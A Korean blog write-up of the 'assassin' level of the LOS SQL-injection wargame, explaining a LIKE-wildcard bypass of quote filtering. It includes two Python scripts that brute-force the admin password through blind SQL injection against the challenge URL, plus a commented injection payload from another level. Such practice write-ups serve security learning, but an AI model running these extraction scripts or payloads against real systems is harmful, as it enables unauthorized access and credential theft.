15. LOS - assassin

2021. 1. 29. 13:16WarGame/LOS

문제 화면이다

\' 으로 쿼터(%27)이 필터링 되어있어서 사용이 불가능하므로 다른 방안을 찾아야한다.

like 문을 줬기에 _%, %_, %_% 을 활용해서 풀이할수 있다.

like [0-9][a-Z]% 를 활용해서 문제를 풀어보자

import requests
import string


num_alpa = string.digits + string.ascii_letters
cookies = {'PHPSESSID': 'l3toagi0tdl3lhfji1bkfaj7dk'}
#https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=123&&no=12%0d||mid(pw,1,1)%0din%0d("0")--%0d-
key = ""
print(num_alpa)
for i in range(1, 9) :
    for j in num_alpa :
        URL = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="+key+str(j)+"%"
        response = requests.get(URL, cookies=cookies)
        if "Hello guest" in response.text :
            key += j
            print("[" + str(i) + "]th password :  " + j)
            break;
print(key)

코드를 활용해서 문제를 풀어보았지만 풀리지 않았다.

내가 구한것은 guest의 password인 것 같다

그럼 어떻게 admin의 pw를 구할 수 있을 까?

import requests
import string


num_alpa = string.digits + string.ascii_letters
cookies = {'PHPSESSID': 'l3toagi0tdl3lhfji1bkfaj7dk'}
#https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=123&&no=12%0d||mid(pw,1,1)%0din%0d("0")--%0d-
key = ""
print(num_alpa)
for i in range(1, 9) :
    for j in num_alpa :
        for k in num_alpa :
            URL = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=%"+str(j)+str(k)+"%"
            response = requests.get(URL, cookies=cookies)
            if "Hello admin" in response.text :
                print(URL)
                key += j
                print("[" + str(i) + "]th password :  " + j)
                break;
print(key)

 

이렇게 하면 2개의 문자를 조합해서 어드민에 해당되는 것이 나올 것이기에 

페이로드를 작성할 수 있었고, % 를 그대로 인식해서 % --> %25 로 바꿔줬다.

 

 

 

 

sqli 점차 이해하니 재미있다.

'WarGame > LOS' 카테고리의 다른 글

17. LOS - zombie_assassin  (0) 2021.01.30
16. LOS - succubus  (0) 2021.01.29
14. LOS - gian  (0) 2021.01.28
13. LOS - bugbear  (0) 2020.11.30
12. LOS - darknight  (0) 2018.08.09